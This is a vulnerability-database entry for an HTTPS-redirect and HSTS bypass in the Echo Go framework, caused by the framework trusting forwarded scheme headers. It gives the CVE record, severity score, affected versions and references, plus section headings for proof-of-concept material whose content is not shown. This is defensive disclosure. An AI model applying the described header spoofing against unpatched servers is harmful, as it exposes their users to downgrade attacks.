                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

CWE

CWE-346 - Origin Validation Error

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7962 records in the last 180 days details

References

5 references

URL	Tags
https://github.com/labstack/echo/security/advisor…	x_refsource_CONFIRM
https://github.com/labstack/echo/commit/b838391e2…	x_refsource_MISC
https://github.com/labstack/echo/commit/fc410094b…	x_refsource_MISC
https://github.com/labstack/echo/releases/tag/v4.16.0	x_refsource_MISC
https://github.com/labstack/echo/releases/tag/v5.4.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
labstack	echo	Affected: >= 5.0.0, < 5.4.0 Affected: < 4.16.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "echo",
          "vendor": "labstack",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 5.0.0, \u003c 5.4.0"
            },
            {
              "status": "affected",
              "version": "\u003c 4.16.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Context.Scheme unconditionally trusts forwarded scheme headers from any client. A client that reaches Echo directly over plaintext HTTP can claim an HTTPS scheme and bypass HTTPSRedirect because the request is treated as already secure. Separately, behind a TLS-terminating proxy that passes an attacker-controlled header, a claimed HTTP scheme can suppress the Strict-Transport-Security header even though the browser receives the response over HTTPS. The practical risk is reduced when a trusted proxy overwrites the headers and direct backend access is prevented, but the framework previously had no trusted-source configuration for this decision. This issue is fixed in 4.16.0 and 5.4.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-28T20:14:09.883Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/labstack/echo/security/advisories/GHSA-2ffq-g2xg-c22p",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/labstack/echo/security/advisories/GHSA-2ffq-g2xg-c22p"
        },
        {
          "name": "https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1"
        },
        {
          "name": "https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af"
        },
        {
          "name": "https://github.com/labstack/echo/releases/tag/v4.16.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/labstack/echo/releases/tag/v4.16.0"
        },
        {
          "name": "https://github.com/labstack/echo/releases/tag/v5.4.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/labstack/echo/releases/tag/v5.4.0"
        }
      ],
      "source": {
        "advisory": "GHSA-2ffq-g2xg-c22p",
        "discovery": "UNKNOWN"
      },
      "title": "Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-118657",
    "datePublished": "2026-10-28T20:14:09.883Z",
    "dateReserved": "2026-10-28T17:25:37.561Z",
    "dateUpdated": "2026-10-28T20:14:09.883Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-2FFQ-G2XG-C22P

Description

Threat model

Root cause

Affected components

This is an unsafe-by-default API surface, not just misconfiguration

Inconsistency with existing trust model

Note on proxies and the "3 additional headers"

Impact

Proof of Concept

PoC 1: HTTPS Redirect Bypass (Go test)

PoC 2: curl examples (easiest to reproduce)

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

PoC 4: HSTS Suppression

Test output (all attacks succeed)

Precedent CVEs

Suggested fix

Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Both options should be applied together.

Patches

Workarounds

CVE-2026-118657 (GCVE-0-2026-118657)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

Option A: `SchemeExtractor` (recommended, backward-compatible with opt-in)